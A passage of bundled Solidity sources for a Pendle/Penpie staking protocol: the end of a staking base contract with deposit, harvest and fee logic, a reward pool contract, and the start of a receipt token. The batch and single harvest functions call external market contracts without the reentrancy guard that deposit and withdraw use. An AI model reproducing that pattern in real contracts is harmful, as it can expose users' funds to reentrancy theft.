SetMPendleConvertor(address _oldmPendleConvertor, address _newmPendleConvertor);\n\n // Fee\n event AddPendleFee(address _to, uint256 _value, bool _isMPENDLE, bool _isAddress);\n event SetPendleFee(address _to, uint256 _value);\n event RemovePendleFee(uint256 value, address to, bool _isMPENDLE, bool _isAddress);\n event RewardPaidTo(address _market, address _to, address _rewardToken, uint256 _feeAmount);\n event VePendleHarvested(\n uint256 _total,\n address[] _pool,\n uint256[] _totalAmounts,\n uint256 _protocolFee,\n uint256 _callerFee,\n uint256 _rest\n );\n\n event NewMarketDeposit(\n address indexed _user,\n address indexed _market,\n uint256 _lpAmount,\n address indexed _receptToken,\n uint256 _receptAmount\n );\n event NewMarketWithdraw(\n address indexed _user,\n address indexed _market,\n uint256 _lpAmount,\n address indexed _receptToken,\n uint256 _receptAmount\n );\n event PendleLocked(uint256 _amount, uint256 _lockDays, uint256 _vePendleAccumulated);\n\n // Vote Manager\n event VoteSet(\n address _voter,\n uint256 _vePendleHarvestCallerFee,\n uint256 _harvestCallerPendleFee,\n uint256 _voteProtocolFee,\n address _voteFeeCollector\n );\n event VoteManagerUpdated(address _oldVoteManager, address _voteManager);\n event BribeManagerUpdated(address _oldBribeManager, address _bribeManager);\n event BribeManagerEOAUpdated(address _oldBribeManagerEOA, address _bribeManagerEOA);\n\n event SmartPendleConvertUpdated(address _OldSmartPendleConvert, address _smartPendleConvert);\n\n event PoolHelperUpdated(address _market);\n\n /* ============ Errors ============ */\n\n error OnlyPoolHelper();\n error OnlyActivePool();\n error PoolOccupied();\n error InvalidFee();\n error LengthMismatch();\n error OnlyVoteManager();\n error TimeGapTooMuch();\n error NoVePendleReward();\n error InvalidFeeDestination();\n error ZeroNotAllowed();\n error InvalidAddress();\n\n /* ============ Constructor ============ */\n\n function __PendleStakingBaseUpg_init(\n address _pendle,\n address _WETH,\n address _vePendle,\n address _distributorETH,\n address _pendleRouter,\n address _masterPenpie\n ) public initializer {\n __Ownable_init();\n __ReentrancyGuard_init();\n __Pausable_init();\n PENDLE = _pendle;\n WETH = _WETH;\n masterPenpie = _masterPenpie;\n vePendle = IPVotingEscrowMainchain(_vePendle);\n distributorETH = IPFeeDistributorV2(_distributorETH);\n pendleRouter = IPendleRouter(_pendleRouter);\n }\n\n /* ============ Modifiers ============ */\n\n modifier _onlyPoolHelper(address _market) {\n Pool storage poolInfo = pools[_market];\n\n if (msg.sender != poolInfo.helper) revert OnlyPoolHelper();\n _;\n }\n\n modifier _onlyActivePool(address _market) {\n Pool storage poolInfo = pools[_market];\n\n if (!poolInfo.isActive) revert OnlyActivePool();\n _;\n }\n\n modifier _onlyActivePoolHelper(address _market) {\n Pool storage poolInfo = pools[_market];\n\n if (msg.sender != poolInfo.helper) revert OnlyPoolHelper();\n if (!poolInfo.isActive) revert OnlyActivePool();\n _;\n }\n\n /* ============ External Getters ============ */\n\n receive() external payable {\n // Deposit ETH to WETH\n IWETH(WETH).deposit{ value: msg.value }();\n }\n\n /// @notice get the number of vePendle of this contract\n function accumulatedVePendle() public view returns (uint256) {\n return IPVotingEscrowMainchain(vePendle).balanceOf(address(this));\n }\n\n function getPoolLength() external view returns (uint256) {\n return poolTokenList.length;\n }\n\n /* ============ External Functions ============ */\n\n function depositMarket(\n address _market,\n address _for,\n address _from,\n uint256 _amount\n ) external override nonReentrant whenNotPaused _onlyActivePoolHelper(_market){\n Pool storage poolInfo = pools[_market];\n _harvestMarketRewards(poolInfo.market, false);\n\n IERC20(poolInfo.market).safeTransferFrom(_from, address(this), _amount);\n\n // mint the receipt to the user driectly\n IMintableERC20(poolInfo.receiptToken).mint(_for, _amount);\n\n emit NewMarketDeposit(_for, _market, _amount, poolInfo.receiptToken, _amount);\n }\n\n function withdrawMarket(\n address _market,\n address _for,\n uint256 _amount\n ) external override nonReentrant whenNotPaused _onlyPoolHelper(_market) {\n Pool storage poolInfo = pools[_market];\n _harvestMarketRewards(poolInfo.market, false);\n\n IMintableERC20(poolInfo.receiptToken).burn(_for, _amount);\n\n IERC20(poolInfo.market).safeTransfer(_for, _amount);\n // emit New withdraw\n emit NewMarketWithdraw(_for, _market, _amount, poolInfo.receiptToken, _amount);\n }\n\n /// @notice harvest a Rewards from Pendle Liquidity Pool\n /// @param _market Pendle Pool lp as helper identifier\n function harvestMarketReward(\n address _market,\n address _caller,\n uint256 _minEthRecive\n ) external whenNotPaused _onlyActivePool(_market) {\n address[] memory _markets = new address[](1);\n _markets[0] = _market;\n _harvestBatchMarketRewards(_markets, _caller, _minEthRecive); // triggers harvest from Pendle finance\n }\n\n function batchHarvestMarketRewards(\n address[] calldata _markets,\n uint256 minEthToRecieve\n ) external whenNotPaused {\n _harvestBatchMarketRewards(_markets, msg.sender, minEthToRecieve);\n }\n\n /* ============ Admin Functions ============ */\n\n function registerPool(\n address _market,\n uint256 _allocPoints,\n string memory name,\n string memory symbol\n ) external onlyOwner {\n if (pools[_market].isActive != false) {\n revert PoolOccupied();\n }\n\n IERC20 newToken = IERC20(\n ERC20FactoryLib.createReceipt(_market, masterPenpie, name, symbol)\n );\n\n address rewarder = IMasterPenpie(masterPenpie).createRewarder(\n address(newToken),\n address(PENDLE)\n );\n\n IPendleMarketDepositHelper(marketDepositHelper).setPoolInfo(_market, rewarder, true);\n\n IMasterPenpie(masterPenpie).add(\n _allocPoints,\n address(_market),\n address(newToken),\n address(rewarder)\n );\n\n pools[_market] = Pool({\n isActive: true,\n market: _market,\n receiptToken: address(newToken),\n rewarder: address(rewarder),\n helper: marketDepositHelper,\n lastHarvestTime: block.timestamp\n });\n poolTokenList.push(_market);\n\n emit PoolAdded(_market, address(rewarder), address(newToken));\n }\n\n /// @notice set the mPendleConvertor address\n /// @param _mPendleConvertor the mPendleConvertor address\n function setMPendleConvertor(address _mPendleConvertor) external onlyOwner {\n address oldMPendleConvertor = mPendleConvertor;\n mPendleConvertor = _mPendleConvertor;\n\n emit SetMPendleConvertor(oldMPendleConvertor, mPendleConvertor);\n }\n\n function setVoteManager(address _voteManager) external onlyOwner {\n address oldVoteManager = voteManager;\n voteManager = _voteManager;\n\n emit VoteManagerUpdated(oldVoteManager, voteManager);\n }\n\n function setBribeManager(address _bribeManager, address _bribeManagerEOA) external onlyOwner {\n address oldBribeManager = bribeManager;\n bribeManager = _bribeManager;\n\n address oldBribeManagerEOA = bribeManagerEOA;\n bribeManagerEOA = _bribeManagerEOA;\n\n emit BribeManagerUpdated(oldBribeManager, bribeManager);\n emit BribeManagerEOAUpdated(oldBribeManagerEOA, bribeManagerEOA);\n }\n\n function setmasterPenpie(address _masterPenpie) external onlyOwner {\n masterPenpie = _masterPenpie;\n }\n\n function setMPendleOFT(address _setMPendleOFT) external onlyOwner {\n mPendleOFT = _setMPendleOFT;\n }\n\n function setETHZapper(address _ETHZapper) external onlyOwner {\n ETHZapper = _ETHZapper;\n }\n\n /**\n * @notice pause Pendle staking, restricting certain operations\n */\n function pause() external nonReentrant onlyOwner {\n _pause();\n }\n\n /**\n * @notice unpause Pendle staking, enabling certain operations\n */\n function unpause() external nonReentrant onlyOwner {\n _unpause();\n }\n\n /// @notice This function adds a fee to the magpie protocol\n /// @param _value the initial value for that fee\n /// @param _to the address or contract that receives the fee\n /// @param _isMPENDLE true if the fee is sent as MPENDLE, otherwise it will be PENDLE\n /// @param _isAddress true if the receiver is an address, otherwise it's a BaseRewarder\n function addPendleFee(\n uint256 _value,\n address _to,\n bool _isMPENDLE,\n bool _isAddress\n ) external onlyOwner {\n if (_value >= DENOMINATOR) revert InvalidFee();\n\n pendleFeeInfos.push(\n Fees({\n value: _value,\n to: _to,\n isMPENDLE: _isMPENDLE,\n isAddress: _isAddress,\n isActive: true\n })\n );\n totalPendleFee += _value;\n\n emit AddPendleFee(_to, _value, _isMPENDLE, _isAddress);\n }\n\n /**\n * @dev Set the Pendle fee.\n * @param _index The index of the fee.\n * @param _value The value of the fee.\n * @param _to The address to which the fee is sent.\n * @param _isMPENDLE Boolean indicating if the fee is in MPENDLE.\n * @param _isAddress Boolean indicating if the fee is in an external token.\n * @param _isActive Boolean indicating if the fee is active.\n */\n function setPendleFee(\n uint256 _index,\n uint256 _value,\n address _to,\n bool _isMPENDLE,\n bool _isAddress,\n bool _isActive\n ) external onlyOwner {\n if (_value >= DENOMINATOR) revert InvalidFee();\n\n Fees storage fee = pendleFeeInfos[_index];\n fee.to = _to;\n fee.isMPENDLE = _isMPENDLE;\n fee.isAddress = _isAddress;\n fee.isActive = _isActive;\n\n totalPendleFee = totalPendleFee - fee.value + _value;\n fee.value = _value;\n\n emit SetPendleFee(fee.to, _value);\n }\n\n /// @notice remove some fee\n /// @param _index the index of the fee in the fee list\n function removePendleFee(uint256 _index) external onlyOwner {\n Fees memory feeToRemove = pendleFeeInfos[_index];\n\n for (uint i = _index; i < pendleFeeInfos.length - 1; i++) {\n pendleFeeInfos[i] = pendleFeeInfos[i + 1];\n }\n pendleFeeInfos.pop();\n totalPendleFee -= feeToRemove.value;\n\n emit RemovePendleFee(\n feeToRemove.value,\n feeToRemove.to,\n feeToRemove.isMPENDLE,\n feeToRemove.isAddress\n );\n }\n\n function setVote(\n address _pendleVote,\n uint256 _vePendleHarvestCallerFee,\n uint256 _harvestCallerPendleFee,\n uint256 _protocolFee,\n address _feeCollector\n ) external onlyOwner {\n if ((_vePendleHarvestCallerFee + _protocolFee) > DENOMINATOR) revert InvalidFee();\n\n if ((_harvestCallerPendleFee + _protocolFee) > DENOMINATOR) revert InvalidFee();\n\n pendleVote = IPVoteController(_pendleVote);\n vePendleHarvestCallerFee = _vePendleHarvestCallerFee;\n harvestCallerPendleFee = _harvestCallerPendleFee;\n protocolFee = _protocolFee;\n feeCollector = _feeCollector;\n\n emit VoteSet(\n _pendleVote,\n vePendleHarvestCallerFee,\n harvestCallerPendleFee,\n protocolFee,\n feeCollector\n );\n }\n\n function setMarketDepositHelper(address _helper) external onlyOwner {\n marketDepositHelper = _helper;\n }\n\n function setHarvestTimeGap(uint256 _period) external onlyOwner {\n if (_period > 4 hours) revert TimeGapTooMuch();\n\n harvestTimeGap = _period;\n }\n\n function setSmartConvert(address _smartPendleConvert) external onlyOwner {\n if (_smartPendleConvert == address(0)) revert InvalidAddress();\n address oldSmartPendleConvert = smartPendleConvert;\n smartPendleConvert = _smartPendleConvert;\n\n emit SmartPendleConvertUpdated(oldSmartPendleConvert, smartPendleConvert);\n }\n\n function setAutoBribeFee(uint256 _autoBribeFee) external onlyOwner {\n if (_autoBribeFee > DENOMINATOR) revert InvalidFee();\n autoBribeFee = _autoBribeFee;\n }\n\n function updateMarketRewards(address _market, uint256[] memory amounts) external onlyOwner {\n Pool storage poolInfo = pools[_market];\n address[] memory bonusTokens = IPendleMarket(_market).getRewardTokens();\n require(bonusTokens.length == amounts.length, \"...\");\n\n uint256 pendleBefore = IERC20(PENDLE).balanceOf(address(this));\n for (uint256 i; i < bonusTokens.length; i++) {\n if (bonusTokens[i] == NATIVE) bonusTokens[i] = address(WETH);\n uint256 leftAmounts = amounts[i];\n _sendRewards(_market, bonusTokens[i], poolInfo.rewarder, amounts[i], leftAmounts);\n }\n\n uint256 pendleForMPendleFee = IERC20(PENDLE).balanceOf(address(this)) - pendleBefore;\n _sendMPendleFees(pendleForMPendleFee);\n }\n\n function updatePoolHelper(\n address _market,\n address _helper\n ) external onlyOwner _onlyActivePool(_market) {\n if (_helper == address(0) || _market == address(0)) revert InvalidAddress();\n \n Pool storage poolInfo = pools[_market];\n poolInfo.helper = _helper;\n\n IPendleMarketDepositHelper(_helper).setPoolInfo(\n _market,\n poolInfo.rewarder,\n poolInfo.isActive\n );\n\n emit PoolHelperUpdated(_helper);\n }\n\n /* ============ Internal Functions ============ */\n\n function _harvestMarketRewards(address _market, bool _force) internal {\n Pool storage poolInfo = pools[_market];\n if (!_force && (block.timestamp - poolInfo.lastHarvestTime) < harvestTimeGap) return;\n uint256 pendleBefore = IERC20(PENDLE).balanceOf(address(this));\n\n poolInfo.lastHarvestTime = block.timestamp;\n\n address[] memory bonusTokens = IPendleMarket(_market).getRewardTokens();\n uint256[] memory amountsBefore = new uint256[](bonusTokens.length);\n\n for (uint256 i; i < bonusTokens.length; i++) {\n if (bonusTokens[i] == NATIVE) bonusTokens[i] = address(WETH);\n amountsBefore[i] = IERC20(bonusTokens[i]).balanceOf(address(this));\n }\n\n IPendleMarket(_market).redeemRewards(address(this));\n\n for (uint256 i; i < bonusTokens.length; i++) {\n if (bonusTokens[i] == NATIVE) bonusTokens[i] = address(WETH);\n uint256 amountAfter = IERC20(bonusTokens[i]).balanceOf(address(this));\n uint256 bonusBalance = amountAfter - amountsBefore[i];\n uint256 leftBonusBalance = bonusBalance;\n if (bonusBalance > 0) {\n _sendRewards(\n _market,\n bonusTokens[i],\n poolInfo.rewarder,\n bonusBalance,\n leftBonusBalance\n );\n }\n }\n\n uint256 pendleForMPendleFee = IERC20(PENDLE).balanceOf(address(this)) - pendleBefore;\n _sendMPendleFees(pendleForMPendleFee);\n }\n\n function _harvestBatchMarketRewards(\n address[] memory _markets,\n address _caller,\n uint256 _minEthToRecieve\n ) internal {\n uint256 harvestCallerTotalPendleReward;\n uint256 pendleBefore = IERC20(PENDLE).balanceOf(address(this));\n\n for (uint256 i = 0; i < _markets.length; i++) {\n if (!pools[_markets[i]].isActive) revert OnlyActivePool();\n Pool storage poolInfo = pools[_markets[i]];\n\n poolInfo.lastHarvestTime = block.timestamp;\n\n address[] memory bonusTokens = IPendleMarket(_markets[i]).getRewardTokens();\n uint256[] memory amountsBefore = new uint256[](bonusTokens.length);\n\n for (uint256 j; j < bonusTokens.length; j++) {\n if (bonusTokens[j] == NATIVE) bonusTokens[j] = address(WETH);\n\n amountsBefore[j] = IERC20(bonusTokens[j]).balanceOf(address(this));\n }\n\n IPendleMarket(_markets[i]).redeemRewards(address(this));\n\n for (uint256 j; j < bonusTokens.length; j++) {\n uint256 amountAfter = IERC20(bonusTokens[j]).balanceOf(address(this));\n\n uint256 originalBonusBalance = amountAfter - amountsBefore[j];\n uint256 leftBonusBalance = originalBonusBalance;\n uint256 currentMarketHarvestPendleReward;\n\n if (originalBonusBalance == 0) continue;\n\n if (bonusTokens[j] == PENDLE) {\n currentMarketHarvestPendleReward =\n (originalBonusBalance * harvestCallerPendleFee) /\n DENOMINATOR;\n leftBonusBalance = originalBonusBalance - currentMarketHarvestPendleReward;\n }\n harvestCallerTotalPendleReward += currentMarketHarvestPendleReward;\n\n _sendRewards(\n _markets[i],\n bonusTokens[j],\n poolInfo.rewarder,\n originalBonusBalance,\n leftBonusBalance\n );\n }\n }\n\n uint256 pendleForMPendleFee = IERC20(PENDLE).balanceOf(address(this)) - pendleBefore - harvestCallerTotalPendleReward;\n _sendMPendleFees(pendleForMPendleFee);\n \n if (harvestCallerTotalPendleReward > 0) {\n IERC20(PENDLE).approve(ETHZapper, harvestCallerTotalPendleReward);\n\n IETHZapper(ETHZapper).swapExactTokensToETH(\n PENDLE,\n harvestCallerTotalPendleReward,\n _minEthToRecieve,\n _caller\n );\n }\n }\n\n function _sendMPendleFees(uint256 _pendleAmount) internal {\n uint256 totalmPendleFees;\n uint256 mPendleFeesToSend;\n\n if (_pendleAmount > 0) {\n mPendleFeesToSend = _convertPendleTomPendle(_pendleAmount);\n } else {\n return; // no need to send mPendle\n }\n\n for (uint256 i = 0; i < pendleFeeInfos.length; i++) {\n Fees storage feeInfo = pendleFeeInfos[i];\n if (feeInfo.isActive && feeInfo.isMPENDLE){\n totalmPendleFees+=feeInfo.value;\n }\n }\n\n for (uint256 i = 0; i < pendleFeeInfos.length; i++) {\n Fees storage feeInfo = pendleFeeInfos[i];\n if (feeInfo.isActive && feeInfo.isMPENDLE) {\n uint256 amount = mPendleFeesToSend * (feeInfo.value * DENOMINATOR / totalmPendleFees)/ DENOMINATOR;\n if(amount > 0){\n if (!feeInfo.isAddress) {\n IERC20(mPendleOFT).safeApprove(feeInfo.to, amount);\n IBaseRewardPool(feeInfo.to).queueNewRewards(amount, mPendleOFT);\n } else {\n IERC20(mPendleOFT).safeTransfer(feeInfo.to, amount);\n }\n }\n }\n }\n }\n\n function _convertPendleTomPendle(uint256 _pendleAmount) internal returns(uint256 mPendleToSend) {\n uint256 mPendleBefore = IERC20(mPendleOFT).balanceOf(address(this));\n \n if (smartPendleConvert != address(0)) {\n IERC20(PENDLE).safeApprove(smartPendleConvert, _pendleAmount);\n ISmartPendleConvert(smartPendleConvert).smartConvert(_pendleAmount, 0);\n mPendleToSend = IERC20(mPendleOFT).balanceOf(address(this)) - mPendleBefore;\n } else {\n IERC20(PENDLE).safeApprove(mPendleConvertor, _pendleAmount);\n IConvertor(mPendleConvertor).convert(address(this), _pendleAmount, 0);\n mPendleToSend = IERC20(mPendleOFT).balanceOf(address(this)) - mPendleBefore;\n }\n }\n\n /// @notice Send rewards to the rewarders\n /// @param _market the PENDLE market\n /// @param _rewardToken the address of the reward token to send\n /// @param _rewarder the rewarder for PENDLE lp that will get the rewards\n /// @param _originalRewardAmount the initial amount of rewards after harvest\n /// @param _leftRewardAmount the intial amount - harvest caller rewardfee amount after harvest\n function _sendRewards(\n address _market,\n address _rewardToken,\n address _rewarder,\n uint256 _originalRewardAmount,\n uint256 _leftRewardAmount\n ) internal {\n if (_leftRewardAmount == 0) return;\n\n if (_rewardToken == address(PENDLE)) {\n for (uint256 i = 0; i < pendleFeeInfos.length; i++) {\n Fees storage feeInfo = pendleFeeInfos[i];\n\n if (feeInfo.isActive) {\n uint256 feeAmount = (_originalRewardAmount * feeInfo.value) / DENOMINATOR;\n _leftRewardAmount -= feeAmount;\n uint256 feeTosend = feeAmount;\n\n if (!feeInfo.isMPENDLE) {\n if (!feeInfo.isAddress) {\n IERC20(_rewardToken).safeApprove(feeInfo.to, feeTosend);\n IBaseRewardPool(feeInfo.to).queueNewRewards(feeTosend, _rewardToken);\n } else {\n IERC20(_rewardToken).safeTransfer(feeInfo.to, feeTosend);\n }\n }\n emit RewardPaidTo(_market, feeInfo.to, _rewardToken, feeTosend);\n }\n }\n } else {\n // other than PENDLE reward token.\n // if auto Bribe fee is 0, then all go to LP rewarder\n if (autoBribeFee > 0 && bribeManager != address(0)) {\n uint256 bribePid = IPenpieBribeManager(bribeManager).marketToPid(_market);\n if (IPenpieBribeManager(bribeManager).pools(bribePid)._active) {\n uint256 autoBribeAmount = (_originalRewardAmount * autoBribeFee) / DENOMINATOR;\n _leftRewardAmount -= autoBribeAmount;\n IERC20(_rewardToken).safeApprove(bribeManager, autoBribeAmount);\n IPenpieBribeManager(bribeManager).addBribeERC20(\n 1,\n bribePid,\n _rewardToken,\n autoBribeAmount\n );\n\n emit RewardPaidTo(_market, bribeManager, _rewardToken, autoBribeAmount);\n }\n }\n }\n\n IERC20(_rewardToken).safeApprove(_rewarder, 0);\n IERC20(_rewardToken).safeApprove(_rewarder, _leftRewardAmount);\n IBaseRewardPool(_rewarder).queueNewRewards(_leftRewardAmount, _rewardToken);\n emit RewardPaidTo(_market, _rewarder, _rewardToken, _leftRewardAmount);\n }\n}"
},
"contracts/rewards/BaseRewardPoolV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport { Ownable } from \"@openzeppelin/contracts/access/Ownable.sol\";\nimport { IERC20Metadata } from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport { IMasterPenpie } from \"../interfaces/IMasterPenpie.sol\";\n\nimport \"../interfaces/IBaseRewardPool.sol\";\n\n/// @title A contract for managing rewards for a pool\n/// @author Magpie Team\n/// @notice You can use this contract for getting informations about rewards for a specific pools\ncontract BaseRewardPoolV2 is Ownable, IBaseRewardPool {\n using SafeERC20 for IERC20Metadata;\n using SafeERC20 for IERC20;\n\n /* ============ State Variables ============ */\n\n address public immutable receiptToken;\n address public immutable operator; // master Penpie\n uint256 public immutable receiptTokenDecimals;\n\n address[] public rewardTokens;\n\n struct Reward {\n address rewardToken;\n uint256 rewardPerTokenStored;\n uint256 queuedRewards;\n }\n\n struct UserInfo {\n uint256 userRewardPerTokenPaid;\n uint256 userRewards;\n }\n\n mapping(address => Reward) public rewards; // [rewardToken]\n // amount by [rewardToken][account], \n mapping(address => mapping(address => UserInfo)) public userInfos;\n mapping(address => bool) public isRewardToken;\n mapping(address => bool) public rewardQueuers;\n\n /* ============ Events ============ */\n\n event RewardAdded(uint256 _reward, address indexed _token);\n event Staked(address indexed _user, uint256 _amount);\n event Withdrawn(address indexed _user, uint256 _amount);\n event RewardPaid(address indexed _user, address indexed _receiver, uint256 _reward, address indexed _token);\n event RewardQueuerUpdated(address indexed _manager, bool _allowed);\n\n /* ============ Errors ============ */\n\n error OnlyRewardQueuer();\n error OnlyMasterPenpie();\n error NotAllowZeroAddress();\n error MustBeRewardToken();\n\n /* ============ Constructor ============ */\n\n constructor(\n address _receiptToken,\n address _rewardToken,\n address _masterPenpie,\n address _rewardQueuer\n ) {\n if(\n _receiptToken == address(0) ||\n _masterPenpie == address(0) ||\n _rewardQueuer == address(0)\n ) revert NotAllowZeroAddress();\n\n receiptToken = _receiptToken;\n receiptTokenDecimals = IERC20Metadata(receiptToken).decimals();\n operator = _masterPenpie;\n\n if (_rewardToken != address(0)) {\n rewards[_rewardToken] = Reward({\n rewardToken: _rewardToken,\n rewardPerTokenStored: 0,\n queuedRewards: 0\n });\n rewardTokens.push(_rewardToken);\n }\n\n isRewardToken[_rewardToken] = true;\n rewardQueuers[_rewardQueuer] = true;\n }\n\n /* ============ Modifiers ============ */\n\n modifier onlyRewardQueuer() {\n if (!rewardQueuers[msg.sender])\n revert OnlyRewardQueuer();\n _;\n }\n\n modifier onlyMasterPenpie() {\n if (msg.sender != operator)\n revert OnlyMasterPenpie();\n _;\n }\n\n modifier updateReward(address _account) {\n _updateFor(_account);\n _;\n }\n\n modifier updateRewards(address _account, address[] memory _rewards) {\n uint256 length = _rewards.length;\n uint256 userShare = balanceOf(_account);\n \n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = _rewards[index];\n UserInfo storage userInfo = userInfos[rewardToken][_account];\n // if a reward stopped queuing, no need to recalculate to save gas fee\n if (userInfo.userRewardPerTokenPaid == rewardPerToken(rewardToken))\n continue;\n userInfo.userRewards = _earned(_account, rewardToken, userShare);\n userInfo.userRewardPerTokenPaid = rewardPerToken(rewardToken);\n }\n _;\n } \n\n /* ============ External Getters ============ */\n\n /// @notice Returns current amount of staked tokens\n /// @return Returns current amount of staked tokens\n function totalStaked() public override virtual view returns (uint256) {\n return IERC20(receiptToken).totalSupply();\n }\n\n /// @notice Returns amount of staked tokens in master Penpie by account\n /// @param _account Address account\n /// @return Returns amount of staked tokens by account\n function balanceOf(address _account) public override virtual view returns (uint256) {\n return IERC20(receiptToken).balanceOf(_account);\n }\n\n function stakingDecimals() external override virtual view returns (uint256) {\n return receiptTokenDecimals;\n }\n\n /// @notice Returns amount of reward token per staking tokens in pool\n /// @param _rewardToken Address reward token\n /// @return Returns amount of reward token per staking tokens in pool\n function rewardPerToken(address _rewardToken)\n public\n override\n view\n returns (uint256)\n {\n return rewards[_rewardToken].rewardPerTokenStored;\n }\n\n function rewardTokenInfos()\n override\n external\n view\n returns\n (\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols\n )\n {\n uint256 rewardTokensLength = rewardTokens.length;\n bonusTokenAddresses = new address[](rewardTokensLength);\n bonusTokenSymbols = new string[](rewardTokensLength);\n for (uint256 i; i < rewardTokensLength; i++) {\n bonusTokenAddresses[i] = rewardTokens[i];\n bonusTokenSymbols[i] = IERC20Metadata(address(bonusTokenAddresses[i])).symbol();\n }\n }\n\n /// @notice Returns amount of reward token earned by a user\n /// @param _account Address account\n /// @param _rewardToken Address reward token\n /// @return Returns amount of reward token earned by a user\n function earned(address _account, address _rewardToken)\n public\n override\n view\n returns (uint256)\n {\n return _earned(_account, _rewardToken, balanceOf(_account));\n }\n\n /// @notice Returns amount of all reward tokens\n /// @param _account Address account\n /// @return pendingBonusRewards as amounts of all rewards.\n function allEarned(address _account)\n external\n override\n view\n returns (\n uint256[] memory pendingBonusRewards\n )\n {\n uint256 length = rewardTokens.length;\n pendingBonusRewards = new uint256[](length);\n for (uint256 i = 0; i < length; i++) {\n pendingBonusRewards[i] = earned(_account, rewardTokens[i]);\n }\n\n return pendingBonusRewards;\n }\n\n function getRewardLength() external view returns(uint256) {\n return rewardTokens.length;\n } \n\n /* ============ External Functions ============ */\n\n /// @notice Updates the reward information for one account\n /// @param _account Address account\n function updateFor(address _account) override external {\n _updateFor(_account);\n }\n\n function getReward(address _account, address _receiver)\n public\n onlyMasterPenpie\n updateReward(_account)\n returns (bool)\n {\n uint256 length = rewardTokens.length;\n\n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = rewardTokens[index];\n _sendReward(rewardToken, _account, _receiver);\n }\n return true;\n }\n\n function getRewards(address _account, address _receiver, address[] memory _rewardTokens) override\n external\n onlyMasterPenpie\n updateRewards(_account, _rewardTokens)\n {\n uint256 length = _rewardTokens.length;\n \n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = _rewardTokens[index];\n _sendReward(rewardToken, _account, _receiver);\n }\n }\n\n /// @notice Sends new rewards to be distributed to the users staking. Only possible to donate already registered token\n /// @param _amountReward Amount of reward token to be distributed\n /// @param _rewardToken Address reward token\n function donateRewards(uint256 _amountReward, address _rewardToken) external {\n if (!isRewardToken[_rewardToken])\n revert MustBeRewardToken();\n\n _provisionReward(_amountReward, _rewardToken);\n }\n\n /* ============ Admin Functions ============ */\n\n function updateRewardQueuer(address _rewardManager, bool _allowed) external onlyOwner {\n rewardQueuers[_rewardManager] = _allowed;\n\n emit RewardQueuerUpdated(_rewardManager, rewardQueuers[_rewardManager]);\n }\n\n /// @notice Sends new rewards to be distributed to the users staking. Only callable by manager\n /// @param _amountReward Amount of reward token to be distributed\n /// @param _rewardToken Address reward token\n function queueNewRewards(uint256 _amountReward, address _rewardToken)\n override\n external\n onlyRewardQueuer\n returns (bool)\n {\n if (!isRewardToken[_rewardToken]) {\n rewardTokens.push(_rewardToken);\n isRewardToken[_rewardToken] = true;\n }\n\n _provisionReward(_amountReward, _rewardToken);\n return true;\n }\n\n /* ============ Internal Functions ============ */\n\n function _provisionReward(uint256 _amountReward, address _rewardToken) internal {\n IERC20(_rewardToken).safeTransferFrom(\n msg.sender,\n address(this),\n _amountReward\n );\n Reward storage rewardInfo = rewards[_rewardToken];\n\n uint256 totalStake = totalStaked();\n if (totalStake == 0) {\n rewardInfo.queuedRewards += _amountReward;\n } else {\n if (rewardInfo.queuedRewards > 0) {\n _amountReward += rewardInfo.queuedRewards;\n rewardInfo.queuedRewards = 0;\n }\n rewardInfo.rewardPerTokenStored =\n rewardInfo.rewardPerTokenStored +\n (_amountReward * 10**receiptTokenDecimals) /\n totalStake;\n }\n emit RewardAdded(_amountReward, _rewardToken);\n }\n\n function _earned(address _account, address _rewardToken, uint256 _userShare) internal view returns (uint256) {\n UserInfo storage userInfo = userInfos[_rewardToken][_account];\n return ((_userShare *\n (rewardPerToken(_rewardToken) -\n userInfo.userRewardPerTokenPaid)) /\n 10**receiptTokenDecimals) + userInfo.userRewards;\n }\n\n function _sendReward(address _rewardToken, address _account, address _receiver) internal {\n uint256 _amount = userInfos[_rewardToken][_account].userRewards;\n if (_amount != 0) {\n userInfos[_rewardToken][_account].userRewards = 0;\n IERC20(_rewardToken).safeTransfer(_receiver, _amount);\n emit RewardPaid(_account, _receiver, _amount, _rewardToken);\n }\n }\n\n function _updateFor(address _account) internal {\n uint256 length = rewardTokens.length;\n for (uint256 index = 0; index < length; ++index) {\n address rewardToken = rewardTokens[index];\n UserInfo storage userInfo = userInfos[rewardToken][_account];\n // if a reward stopped queuing, no need to recalculate to save gas fee\n if (userInfo.userRewardPerTokenPaid == rewardPerToken(rewardToken))\n continue;\n\n userInfo.userRewards = earned(_account, rewardToken);\n userInfo.userRewardPerTokenPaid = rewardPerToken(rewardToken);\n }\n }\n}"
},
"contracts/rewards/PenpieReceiptToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)\npragma solidity ^0.8.19;\n\nimport { ERC20, IERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport { IERC20Metadata } from \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport { Ownable } from \"@openzeppelin/contracts/access/Ownable.sol\";\nimport { IMasterPenpie } from \"../interfaces/IMasterPenpie.sol\";\n\n/// @title PenpieReceiptToken is to represent a Pendle Market deposited to penpie posistion. PenpieReceiptToken is minted to user who deposited Market token\n/// on pendle staking to increase defi lego\n/// \n/// Reward from Magpie and on BaseReward should be updated upon every transfer.\n///\n/// @author Magpie Team\n/// @notice Mater penpie emit `PNP` reward token based on Time. For a pool, \n\ncontract PenpieReceiptToken is ERC20, Ownable {\n using SafeERC20 for IERC20Metadata;\n using SafeERC20 for IERC20;\n\n address public underlying;\n address public immutable masterPenpie;\n\n\n /* ============ Errors ============ */\n\n /* ============ Events ============ */\n\n constructor(address _underlying, address _masterPenpie, string memory name, string memory symbol) ERC20(name, symbol) {\n underlying = _underlying;\n masterPenpie = _masterPenpie;\n } \n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function mint(address account, uint256 amount) external virtual onlyOwner {\n _mint(account, amount);\n 